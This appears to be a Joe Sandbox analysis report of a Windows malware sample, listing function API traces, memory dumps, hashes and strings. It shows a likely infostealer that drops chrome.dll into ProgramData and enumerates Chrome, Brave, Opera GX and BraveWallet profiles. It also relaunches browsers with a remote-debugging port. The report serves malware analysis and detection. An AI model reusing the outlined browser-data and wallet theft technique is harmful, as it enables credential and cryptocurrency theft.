Opcode ID: 3114c9b2cc096f015566fafe3aaba5447a3d433a802cf7337f2e0cd1377291ca
Instruction ID: d462efa753b94ba4068c7925a4676e7a5bfb1e86e265e7d5687366c49d2ae404
Opcode Fuzzy Hash: 3114c9b2cc096f015566fafe3aaba5447a3d433a802cf7337f2e0cd1377291ca
Instruction Fuzzy Hash: E421077680021DABCF10EF65EC458EEBBB8AF41314F008166FA01A7265DB34AA46DF90

Function 00FF2818 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00FEECA7,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00FEECA7,C:\ProgramData\chrome.dll,?,?,?), ref: 00FF2832
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00FEECA7,C:\ProgramData\chrome.dll,?,?,?), ref: 00FF2859
CloseHandle.KERNEL32(00000000,?,?,00FEECA7,C:\ProgramData\chrome.dll,?,?,?), ref: 00FF2870

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: cc8e8962300f317f487fba321e0b77c0a4a6422050f10012619ab0328ffa1fa1
Instruction ID: 5f60e84ef1dcb8890007e7c1aced85c579c5b61b01ac2f66d2f63ca89225d01c
Opcode Fuzzy Hash: cc8e8962300f317f487fba321e0b77c0a4a6422050f10012619ab0328ffa1fa1
Instruction Fuzzy Hash: 49F0307254011CBFDB516EA5EC8AEEB3B5CEF167D4F004122FA1296161D7A19D01BBA0

Function 00FF246D Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00FF3FC7,00000000,?), ref: 00FF248F
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00FF24AA
CloseHandle.KERNEL32(00000000), ref: 00FF24B1

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: d363a23ff586faba156b1f86aaee5762fe13d6bf07035d430dd8c9650b67cbfa
Instruction ID: aebfbf1b474f85e7f92c5720fabaff0562bf82451c57e992c444cac97ba5e0b8
Opcode Fuzzy Hash: d363a23ff586faba156b1f86aaee5762fe13d6bf07035d430dd8c9650b67cbfa
Instruction Fuzzy Hash: 6CF0903660020CABD760EAA8AC49FFEB7B89F45700F004069F744D7190DFB8E9858B94

Function 00FF0EA8 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FE1375), ref: 00FF0EB4
HeapAlloc.KERNEL32(00000000,?,?,?,00FE1375), ref: 00FF0EBB
GetComputerNameA.KERNEL32(00000000,00FE1375), ref: 00FF0ECF

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: f032edc58ad1bb718ce2abf69626579ba890dee61b9f40c7eb0c237cd4e769cb
Instruction ID: 4cfbf9c6b2ea9134eedd31b90b3e729e163ad4cb9a333430d31fe2d50f12563d
Opcode Fuzzy Hash: f032edc58ad1bb718ce2abf69626579ba890dee61b9f40c7eb0c237cd4e769cb
Instruction Fuzzy Hash: C9E08CB6200208ABD720CB99DC0DE9B76ECEB80B11F040015FA45C2144DAF99984A760

Function 6CD60A63 Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6CD60AB0

Part of subcall function 6CD60EDE: InitializeSListHead.KERNEL32(6CDB7A28,6CD60ABA,6CDB5718,00000010,6CD60A4B,?,?,?,6CD60C73,?,00000001,?,?,00000001,?,6CDB5760), ref: 6CD60EE3

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CD60B1A

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: ad0c08fbcca25956d4ff9785dbec72604859d57e763d5d5dcd2a38ec35082ba1
Instruction ID: 9d8b67c309a1462bc293906148c46aa610022c33591a4888e9600fe3af6c90dd
Opcode Fuzzy Hash: ad0c08fbcca25956d4ff9785dbec72604859d57e763d5d5dcd2a38ec35082ba1
Instruction Fuzzy Hash: B4212331245280EBEB119BBA84107E837A19F123ADF204556C5856BEE1DB72A14CC679

Function 00FF7F30 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 839b56806488cbb4484d35273f3bb62fe5ba1eef886e43951e7b7e70669366ac
Instruction ID: 28a7195427b18bed691c762234884c536637b49fd2c9c4dbc4b8f267f713eaca
Opcode Fuzzy Hash: 839b56806488cbb4484d35273f3bb62fe5ba1eef886e43951e7b7e70669366ac
Instruction Fuzzy Hash: C2517D71D293486BCF617BFF9C899B4F2E56FA1334B150482B2108A1B69B708D807EE1

Function 6CD66DBC Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,6CD6686A,00000001,00000364,00000000,FFFFFFFF,000000FF,?,6CD65DDF,00000000,00000000), ref: 6CD66DFD

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7aab5dfd8ed8c82ba068b94427f3e6681ba7ce4f503d07e0258dc121134cad60
Instruction ID: 48fffa6c7856e93c6a3194484ed62f502d6411ba420e79f4e01e0ce5455750af
Opcode Fuzzy Hash: 7aab5dfd8ed8c82ba068b94427f3e6681ba7ce4f503d07e0258dc121134cad60
Instruction Fuzzy Hash: 40F0B431246525E7EB011F27CC05A9F3758AB427B4F118127E818D7EB1DB30D412CAF0

Function 00FF1FDF Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00FF2020

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: b7497ff01aef7700d9c24966f3f6e95fef17e0513238b08685c13a5bb6c6d040
Instruction ID: 821e5ad8cda3415825fd3377c87997646aba41741a93d63e63a3fb58b3d75b52
Opcode Fuzzy Hash: b7497ff01aef7700d9c24966f3f6e95fef17e0513238b08685c13a5bb6c6d040
Instruction Fuzzy Hash: D9F03A72A1016DABDB15DFB8DC509BEB7FCEB48200F0045B6FA05E3291DA34AF458B90

Function 00FF2913 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00FF2949

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: ed32dbbae085864e0dadff64f40a0666c3023a9ebc6e3d6a78e779a9fd28f2e8
Instruction ID: 479b71f41dcfd0d4a289e3bd61885615303aa7ab0efc5026cf383d56223cf2d3
Opcode Fuzzy Hash: ed32dbbae085864e0dadff64f40a0666c3023a9ebc6e3d6a78e779a9fd28f2e8
Instruction Fuzzy Hash: 02E092B4D0421E9FDB44EFA8D9062EEBAF8FF48308F00406AC155F7245E77852458BA5

Non-executed Functions

Function 00FE9DAF Relevance: 61.9, APIs: 28, Strings: 7, Instructions: 648filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

FindFirstFileA.KERNEL32(?,?,01015802,010157FF,010162F0,010157FE,?,?,?), ref: 00FE9E59
StrCmpCA.SHLWAPI(?,010162F4), ref: 00FE9E7A
StrCmpCA.SHLWAPI(?,010162F8), ref: 00FE9E94

Part of subcall function 00FF076C: lstrlenA.KERNEL32(?,?,00FF733C,0101572F,0101572E,?,?,?,?,00FF8011), ref: 00FF0772
Part of subcall function 00FF076C: lstrcpyA.KERNEL32(00000000,00000000,?,00FF733C,0101572F,0101572E,?,?,?,?,00FF8011), ref: 00FF07A4

StrCmpCA.SHLWAPI(?,Opera GX,010162FC,?,01015803), ref: 00FE9F26
StrCmpCA.SHLWAPI(?,Brave,0101631C,01016320,010162FC,?,01015803), ref: 00FEA0A8
StrCmpCA.SHLWAPI(?,Preferences), ref: 00FEA0C2
CopyFileA.KERNEL32(?,?,00000001), ref: 00FEA182
DeleteFileA.KERNEL32(?), ref: 00FEA251
StrCmpCA.SHLWAPI(?), ref: 00FEA28F
StrCmpCA.SHLWAPI(?), ref: 00FEA2F9
StrCmpCA.SHLWAPI(00FECE8D), ref: 00FEA310
_memset.LIBCMT ref: 00FEA339
lstrcatA.KERNEL32(?,?), ref: 00FEA34B
lstrcatA.KERNEL32(?,?), ref: 00FEA35B
lstrcatA.KERNEL32(?, --remote-debugging-port=9223 --profile-directory="), ref: 00FEA36D
_memset.LIBCMT ref: 00FEA3E3
lstrcatA.KERNEL32(?,?), ref: 00FEA3F5
lstrcatA.KERNEL32(?,?), ref: 00FEA405
lstrcatA.KERNEL32(?, --remote-debugging-port=9223 --profile-directory="), ref: 00FEA417
StrCmpCA.SHLWAPI(?), ref: 00FEA465
CopyFileA.KERNEL32(?,?,00000001), ref: 00FEA525
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 00FEA5CD
DeleteFileA.KERNEL32(?), ref: 00FEA62E

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE8E72: lstrlenA.KERNEL32(?), ref: 00FE906B
Part of subcall function 00FE8E72: lstrlenA.KERNEL32(?), ref: 00FE9086

Part of subcall function 00FE95E0: lstrlenA.KERNEL32(?), ref: 00FE9A05
Part of subcall function 00FE95E0: lstrlenA.KERNEL32(?), ref: 00FE9A20

StrCmpCA.SHLWAPI(?), ref: 00FEA65F
CopyFileA.KERNEL32(?,?,00000001), ref: 00FEA71F
DeleteFileA.KERNEL32(?), ref: 00FEA7B9

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

FindNextFileA.KERNEL32(?,?), ref: 00FEA897
FindClose.KERNEL32(?), ref: 00FEA8AB

Strings

--remote-debugging-port=9223 --profile-directory=", xrefs: 00FEA361
--remote-debugging-port=9223 --profile-directory=", xrefs: 00FEA40B
Brave, xrefs: 00FEA0A0
Preferences, xrefs: 00FEA0B6
Opera GX, xrefs: 00FE9F1E
\BraveWallet\Preferences, xrefs: 00FEA198
Google Chrome, xrefs: 00FEA5C5

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpylstrlen$CopyDeleteFind$_memset$CloseFirstNextSystemTime
String ID: --remote-debugging-port=9223 --profile-directory="$ --remote-debugging-port=9223 --profile-directory="$Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 59875412-4126839318
Opcode ID: e61b6b02bc46670c73600b35d91dfd18458bae3f83ba4239adeabdd4b5386e43
Instruction ID: 6a26f8a774db1d766dd325de54f69fa689087ec040f4ab398e27c217c50478b8
Opcode Fuzzy Hash: e61b6b02bc46670c73600b35d91dfd18458bae3f83ba4239adeabdd4b5386e43
Instruction Fuzzy Hash: D0521A7290016D9BCF61BB25DC46ADD7778AF04300F4141E1BA48B7126DAB9AF89EF81

Function 00FF4EA5 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FF4EF9
FindFirstFileA.KERNEL32(?,?), ref: 00FF4F10
_memset.LIBCMT ref: 00FF4F2C
_memset.LIBCMT ref: 00FF4F3D
StrCmpCA.SHLWAPI(?,010159E0), ref: 00FF4F5E
